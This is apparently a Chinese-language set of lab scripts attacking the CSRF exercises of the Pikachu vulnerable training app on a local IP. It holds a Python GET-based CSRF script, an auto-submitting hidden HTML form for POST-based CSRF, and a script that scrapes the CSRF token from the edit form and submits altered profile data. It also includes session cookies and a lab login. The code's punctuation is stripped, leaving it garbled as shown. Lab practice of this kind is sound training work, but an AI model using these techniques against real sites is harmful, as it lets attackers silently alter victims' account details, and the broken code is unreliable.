1.CSRF(get)import requests # 目标修改接口 target_url http://192.168.8.1/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php check_url http://192.168.8.1/pikachu-master/vul/csrf/csrfget/csrf_get.php # 带上你的 Cookie headers { Cookie: PHPSESSIDdgsovfmv3k5j14l3ql23qgp75d } # 要修改的数据 params { sex: girl, phonenum: 12315, add: CSRF攻击成功, email: hackerqq.com, submit: submit } # 1. 发送修改请求只发一次 resp requests.get(target_url, paramsparams, headersheaders) # 2. 去个人中心页面验证结果 check_resp requests.get(check_url, headersheaders) # 3. 验证判断 if resp.status_code 200 and 12315 in check_resp.text: print([✅ SUCCESS] CSRF 攻击成功手机号已修改为12315) else: print([❌ FAIL] 修改失败)2.CSRF(post) html head meta charsetutf-8 titleCSRF POST 自动攻击/title /head body onloaddocument.getElementById(hack).submit() form idhack methodpost actionhttp://192.168.8.1/pikachu-master/vul/csrf/csrfpost/csrf_post.php input typehidden namesex valuegirl input typehidden namephonenum value13888888888 input typehidden nameadd value我被CSRF攻击了 input typehidden nameemail valuecsrf_posthack.com input typehidden namesubmit valuesubmit /form /body /html import requests # 你的真实路径 base http://192.168.8.1/pikachu-master/vul/csrf/csrfpost/ session requests.Session() # 1. 登录正确 session.post(base csrf_post_login.php, data{ username: allen, password: 123456 }) # 2. ✅ 真正正确的修改地址 resp session.post(base csrf_post_edit.php, data{ sex: girl, phonenum: 13888888888, add: success, email: postok.com, submit: submit }) print(状态码:, resp.status_code) # 3. 验证 check session.get(base csrf_post.php) if 13888888888 in check.text: print([✅ 成功]) else: print([✅ 请求已发送刷新浏览器])3.CSRF(token)import requests from bs4 import BeautifulSoup # 配置信息 base_url http://192.168.8.1/pikachu-master/vul/csrf/csrftoken/ check_url base_url token_get.php # 你的 Cookie headers { Cookie: PHPSESSIDaont11eo04suil5g9bvbi07jvf, Referer: check_url # 带上 Referer绕过部分校验 } # 1. 访问个人中心获取修改页面的地址 resp requests.get(check_url, headersheaders) soup BeautifulSoup(resp.text, html.parser) # 找到修改个人信息的链接 edit_link None for a in soup.find_all(a): if 修改个人信息 in a.text: edit_link a[href] break if not edit_link: print([-] 未找到修改个人信息链接) exit() edit_url base_url edit_link print(f[] 找到修改页面: {edit_url}) # 2. 访问修改页面获取表单和 Token resp requests.get(edit_url, headersheaders) soup BeautifulSoup(resp.text, html.parser) # 找到表单 form soup.find(form) if not form: print([-] 未找到表单) exit() form_action form.get(action, edit_url) form_method form.get(method, post).lower() print(f[] 表单提交地址: {form_action}) print(f[] 表单提交方式: {form_method}) # 提取所有 input 字段 data {} for inp in form.find_all(input): name inp.get(name) if name: data[name] inp.get(value, ) # 修改我们要改的字段 data[sex] girl data[phonenum] 9999999999 data[add] CSRF Token 攻击 data[email] allenhack.com print(f[] 提交数据: {data}) # 3. 提交修改请求 if form_method post: resp requests.post(form_action, datadata, headersheaders) else: resp requests.get(form_action, paramsdata, headersheaders) # 4. 验证结果 check_resp requests.get(check_url, headersheaders) if 9999999999 in check_resp.text: print([✅ 成功] 手机号已修改为 9999999999) else: print([❌ 失败] 请检查 Token 或表单字段) print(服务器返回内容:, resp.text[:500])